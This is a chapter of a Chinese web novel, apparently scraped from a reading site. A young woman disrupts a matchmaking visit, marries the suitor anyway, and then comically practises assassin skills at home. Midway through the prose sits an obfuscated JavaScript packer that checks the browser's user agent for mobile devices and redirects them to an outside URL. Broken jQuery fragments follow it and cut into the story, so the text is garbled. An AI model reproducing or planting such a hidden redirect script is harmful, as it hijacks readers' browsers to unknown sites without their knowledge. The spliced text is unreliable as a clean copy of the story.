默认冷灰
24号文字
方正启体

2. 桂花糕

作者:黛安娜娜本书字数:K更新时间:
    杏红襦裙拂过门帘,步伐灵动。


    厅中封隐岚正垂眸听着两位夫人和周婶子闲聊,听见帘一动,忽然抬眼,嘴角掠过一丝不被任何人察觉的笑意。


    她身姿轻盈,手托茶盘,细腰盈握,嘴角含笑走了进来。


    封夫人微微一愣,旋即欣慰开口:“这就是令爱?”


    岳夫人眉眼舒展:“正是。”


    “封夫人,封公子。”她声音温温的,却透露着一点吊儿郎当的味儿,“初次见面,小女献丑,奉茶一杯。”


    封隐岚起身接盏,语气温和:“岳姑娘有礼。”


    话音未落,岳珑珈忽然“哎呀”一声,手中茶盏脱手而出,直朝他衣襟飞去。


    她唇角压着坏笑,心道:泼你一身,看你还怎么稳重!


    可封隐岚只是袖袍微展,广袖一揽,茶水在半空优雅地划出一个弧线,竟是滴水不沾地落回杯中。


    他低头看着盏中翻涌的茶面,用只有他们二人能听到的声音说道:“岳姑娘这般热情是要亲自喂我吃茶吗。”


    岳珑珈羞得脸红起来,但还故作镇定向后撤退半步:“……公子见笑,是我冒失了。”


    行吧,算他眼疾手快。


    她面不改色,笑吟吟转身,趁着岳夫人招呼封夫人时,手肘一拐,身后那盏热茶“啪嗒”一声倾倒,水面如练,直奔封夫人膝头。


    岳珑珈心想这么笨手笨脚又冒冒失失的姑娘你们肯定瞧不上吧!


    小桃在帘后吓得一口气没上来:小姐你到底要干什么呀!封夫人穿得厚重,肯定要狼狈了。


    然而封夫人却连眼皮都没抬,只是脚尖一挑,茶盏在半空一颠,被她稳稳接住。


    水是洒了,可茶盏完好,她反手轻轻扣在案上,岳夫人看得都呆愣在原地。


    “哎呀,小姑娘手软,水洒了。”封夫人笑得略显局促,“呃…老身平日就爱踢毽子锻炼身体,咱们身体好呀,儿女少操心。”


    岳珑珈心里开始犯嘀咕,这封家是经商的还是开武馆的,怎么人人都有点身手?


    对面的岳夫人思量一番,深表同意,微笑着点头心想“这封家公子模样不错气度不凡,封夫人又这般明事理,珈儿好福气啊,这门亲事越看越合适。”


    而封隐岚则低头饮茶,唇角微勾。岳珑珈的小动作,他全看在眼里。


    他不恼,反而有点兴致盎然:“哦?故意试探我?看你还能玩出什么花样。”


    岳珑珈余光瞥到了古筝,母亲曾让她学过一阵,但她总对着《天魔琴谱》练“八音穿心”这种利用古筝声波刺杀的招式,因为太过难听气走了好几位教习先生,母亲也就此作罢。


    她心生一计,对着封夫人说“刚才是我失礼了,现在我为您弹奏一曲古筝为您压压惊吧。”


    岳夫人一怔,瞬间知道珈儿这丫头是何居心,还未来得及拒绝,周婶子已笑道,“好啊,姑娘胆大些才好,琴艺一展,正好让封公子多了解些。”


    封隐岚闻言,抬眸望向岳珑珈,那双桃花眼里波澜不惊,却似笑非笑。


    岳珑珈缓步走到乌漆檀木古筝前,屈膝坐定,抬手一拨。


    「铮——!」


    古琴发出一声野鸭濒死般的嘶鸣,接着「铿铿铿」连弹三下,宛如铁铲刮锅底。


    岳珑珈弹得前仰后合,陷入一种癫狂状态。


    封夫人和周婶子笑容凝固,岳夫人扶额,丫鬟们捂耳朵。


    封隐岚却注视着,指尖在桌案上轻扣着节奏,仿佛很陶醉,一曲弹毕:“岳小姐此曲……可是《广陵散》残谱?杀气凛然,妙极。”


    岳珑珈:“你怎么知道的?”


    周婶子赶紧抢话:“这就是高山流水觅知音吧!”


    两位夫人尴尬地点点头为刚才的一曲送上一点淅淅沥沥的掌声。


    岳珑珈心念一转,暗道:“封家做的是生意,一个不会数数的儿媳妇,他们定会嫌弃。”


    嘴角一勾,她故作随意地问:“封公子,可还未曾请教,您今年几岁了?”


    封隐岚手指轻敲盏沿,声音温润:“二十四。”


    岳珑珈眨了眨眼,抬手掰着指头,似真似假地认真数了起来,末了还撅起了嘴:“那我今年十九……咱们差了七岁啊。”


    她顿了顿,歪着脑袋:“等到明年,咱们就差八岁了!”


    厅内一瞬寂静。


    岳夫人几乎要控制不住,手中的茶盏被她死死扣住,指节微白。


    “珈儿这丫头,成心胡闹!”


    小桃在珠帘后差点笑出声,又不敢笑,只能捂住嘴巴。


    而封隐岚,竟毫无恼意,反而轻笑出声。


    那笑意不疾不徐,像雪落青松,带着一丝拨开迷雾的温润。


    “岳姑娘看来在算数方面,确实有些…别出心裁。”


    他说着起身,目光温和地落在她身上,语气却带着三分笃定:


    “在下四处经商,每日与账本为伴,若论计算也算在下的一技之长。”


    他微微一笑,眸光却深了些,“若岳姑娘不嫌,日后在下便慢慢教你如何算年岁,可数至百年,如何?”


    周婶子听罢微微挑眉心想:“百年可是百年好合之意?看来这笔亲事的礼金老身要稳稳揣进兜里了。”


    岳珑珈一怔。


    她原本是故意胡闹想让封家知难而退,哪料这人不仅不恼,反倒顺水推舟,三言两语把自己架了回去,连“日后”都抬了出来。


    她盯着封隐岚,又气又羞:“这封家是疯了吗?”


    见岳珑珈不语,封隐岚不急不缓,从桌上的木雕白玉宝盒中取出一支金累丝嵌宝花簪。金光闪耀,流光溢彩。


    “此簪是为姑娘特地准备的,礼薄意重。”


    他语气温和,目光却沉静如水。


    “初次登门,见姑娘气度不凡,心有欢喜,贸然相求,不敢奢言缘分,只盼岳姑娘此后再忆今日,不会嫌我唐突。”


    岳夫人掩唇而笑,封夫人含笑颔首,媒婆更是笑得合不拢嘴:“封公子一片心意,岳姑娘可别让人家失望啊。”


    她眸光一转,扬声道:“封公子太客气了,小女不过一介凡俗,如何当得起这般厚礼。”


    可她自己也察觉到了——心跳,似乎快了那么一瞬。


    她原以为,这次拜访不过是敷衍的过场,可眼前这人,字字句句透露着恳切,礼数又周全,让人挑不出半分错处。


    “姑娘既言凡俗,便更需有人妥帖珍重。”


    封隐岚微笑,步步逼近,嗓音低沉含笑,像清风拂过流云,“姑娘如此可人,这金簪怎敢不亲自为姑娘戴好。”


    岳珑珈脚下微移,欲要避让,可封隐岚的身影已近在咫尺。


    他一手执簪,另一手却不着痕迹地轻抚住她另一侧的鬓角,力道极轻。


    就在她欲言又止的一瞬,那支凤钗已稳稳插入她的发髻,发丝被轻轻拨顺。


    岳珑珈有些急躁,想要伸手把金花簪摘下,封隐岚却一把抓住她手腕。


    他低声道:“若姑娘真要摘下,我随时接回。只是…我愿守着,等姑娘同意为止。”


    岳珑珈呼吸微滞,耳尖悄悄染上了红意。她终究没有把头上的金花簪摘下。


    半年光阴倏忽而过,寒雪渐消,东风初暖。恰是红梅吐蕊、新柳抽芽的时节,一顶朱漆描金的喜轿踏着晨光,稳稳抬进了封家高悬彩绸的府门。


    而此时花轿中,岳珑珈手里仍攥着那枚刻着“影”字的腰牌。


    临行前母亲一边替她绾发,一边叹气:“过了门可不敢再舞枪弄棒了,封家世代经商,要的是会看账本的精明媳妇,可不是会武功的野丫头。”


    她表面撒娇似的说着“我知道啦。”可袖中的腰牌却被指尖摩挲得发烫。母亲的严苛管教如同金丝囚笼,却从未能折断她的羽翼。她垂首披上嫁衣,飞向自由的追寻之路路。


    轿帘忽被掀开,一缕春日暖风灌进。盖头下,她看见一只修长的手伸到眼前,指尖却略显粗糙,像是经年打算盘翻账本所致。


    “夫人,小心脚下。”


    声音温和克制,却能听出说出这句话之人的嘴角在上扬。


    岳珑珈并未将手递上,而是扶了扶凤冠轻声道:“嗯!多谢提醒。”


    然后,在无数双等待看新娘子的目光中,自己稳稳走出了花轿。


    转眼已一月有余。


    这一个月时间里,两人礼数周全,却各睡各的——封隐岚夜里睡在书房,白日里又忙着“经商跑路”,踪迹稀薄。岳珑珈暗暗偷笑:“嘿嘿,清净极了,正合我练功!”


    这天用完早膳后,封隐岚来到岳珑珈房中抬眼温声道:


    “我要去南省收货银,三五日才能回。像往常一般,夫人若有急事,差管家去城东莫家,自有人相助。”


    岳珑珈放下绣绷,端端正正行了礼:


    “夫君一路顺遂,亦要多加小心。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716296|173726||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    封隐岚似要近前拥她,却见她赶忙拿起绣绷与针线挡在身前。男人苦笑,知趣地拂袖而去。


    前脚刚走,后脚闺阁地板“咚”一声——岳珑珈和贴身丫鬟小桃齐心,把那只压得结结实实的嫁妆箱拖了出来。


    箱盖一掀,暗器书卷“哗啦啦”亮相:


    《镖行天下心法要诀》


    《千机百毒录》


    以及岳珑珈自制的《刺杀心得》……


    小桃惊讶道:“夫人!这些不是被老夫人没收丢掉了吗?您哪儿找回来的?”


    岳珑珈把玩书卷,神气活现:


    “我研制了飞光粉撒在箱子上,夜里再一撒觅光粉就能寻到搬运轨迹。母亲并未扔掉,只锁在后院的西厢房内。我顺着踪迹摸过去,全搬了回来,在我出嫁那天,混在嫁妆里就全都带过来啦。”


    她又扬起一本泛黄孤本《禁罗刹图典》,眉飞色舞:


    “瞧,这可花了大价钱从黑市淘来的——世上最后一册!里边记载的都有是绝妙机关,就算神鬼罗刹来了都能将其困住!”


    丫鬟低头再看箱子,冷汗直冒:飞镖、毒囊、短刀、血滴子样样齐全。还有那把上次差点砸破夫人自家脑袋的无刺流星锤:


    “夫人,这……您还留着?上回把您额头砸出小馒头,奴婢可吓坏了!”


    岳珑珈手上还在翻阅书籍:


    “想当天下第一刺客,磕点包算什么?你拿上飞镖袖里剑,我们走!到后院练功去——夫君不在,时辰正好!”


    小桃捧着各样兵器叹气,暗暗祈祷:“但愿这次,不用再给夫人上药膏了……”


    春日的后院里,阳光正好,梨花簌簌落了一地,本该是个喝茶赏景的好时辰——可惜,咱们的夫人偏不。


    岳珑珈已换上自制“训练战袍”——翠色小襦裙外套一件黑色暗纹花布头缝成的兜帽,腰间别了七八样彩色暗器(为了扔丢以后更好的寻回来),活像一只彩色刺猬。


    第一回合:飞镖试手


    “看我一镖封喉!”她掷镖本想命中三丈外的木桩,镖却划出优雅弧线,“叮”一声插在假山石缝,距离睡在假山上的大花猫只有一寸距离。花猫尖叫飞逃,顺势撞翻花盆一排。


    丫鬟小桃火速冲上:


    “夫人快别动,让奴婢——”


    “没事!我自己去收镖。”岳珑珈“嗖”地蹿过去,一下扑进花丛里,大花猫踩着岳珑珈的头就跑走了。


    第二回合:轻功练习


    岳珑珈扶地起身,拍拍裙摆:“万事开头难,小意思!”转而搬来梯子,准备“屋脊三连跳”。


    正在打扫花盆碎片的小桃小声道:“夫人不如先——”


    “无妨!”话音未落,人已蹿上屋檐,下一秒“喀嚓”——瓦片碎声如爆竹,岳珑珈踩空,抓住屋檐藤蔓吊在半空,藤蔓又被她连根扯下,整个人“嗵”一声落进池塘。


    小桃扑过去:“快、快上来!”


    岳珑珈抹了一把脸上的水草:“好!看来我轻功尚可,就是落点欠精准。比之前大有进步啊!”


    第三回合:流星锤回旋


    换上干衣后,她擎起曾砸破自己的流星锤,深吸一口气:“今日必破纪录!”


    锤头呼啸而出,绕梁三圈正要收回,“咣”地砸在照壁上,反弹直奔她面门。小桃闭眼尖叫,岳珑珈脑袋一歪,锤头擦着鬓发过去,却把院门撞开,“当啷啷”滚进厨房,把正在偷鱼骨的黄狗吓得在厨房横冲直撞,放跑了晚上要杀的鸡。


    小桃满院子追着夫人跑:


    “夫人别动,我先包扎一下您的手腕!”


    “一会儿再包,抓鸡要紧!”


    “伤口见血啦——”


    “无妨,顺便练止血穴位!”


    包扎布条、草药膏、扫帚、水桶在丫鬟小桃手里换成风火轮,一刻不停地转。到午时,后院像被刚结束的农民起义洗劫:瓦砾、碎盆、泥水、还有一条被流星锤吓傻的黄狗。


    岳珑珈擦着额头汗珠,亮出一本《草木妖录》:“午后练夺命暗香,快去准备桂花糕和迷魂草!”


    小桃腿一软:“夫人,奴婢还是先准备救心丸吧……”


    落日余晖照在乱糟糟的后院,风吹过瓦缺与花盆残片,“叮叮当当”一阵清脆。


    夜凉如水,窗外一声轻响——一只白鸽踏月而来,脚上银铃微晃。岳珑珈早就守着烛火等回信,一把将鸽子抓进怀里,激动得手都在抖。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)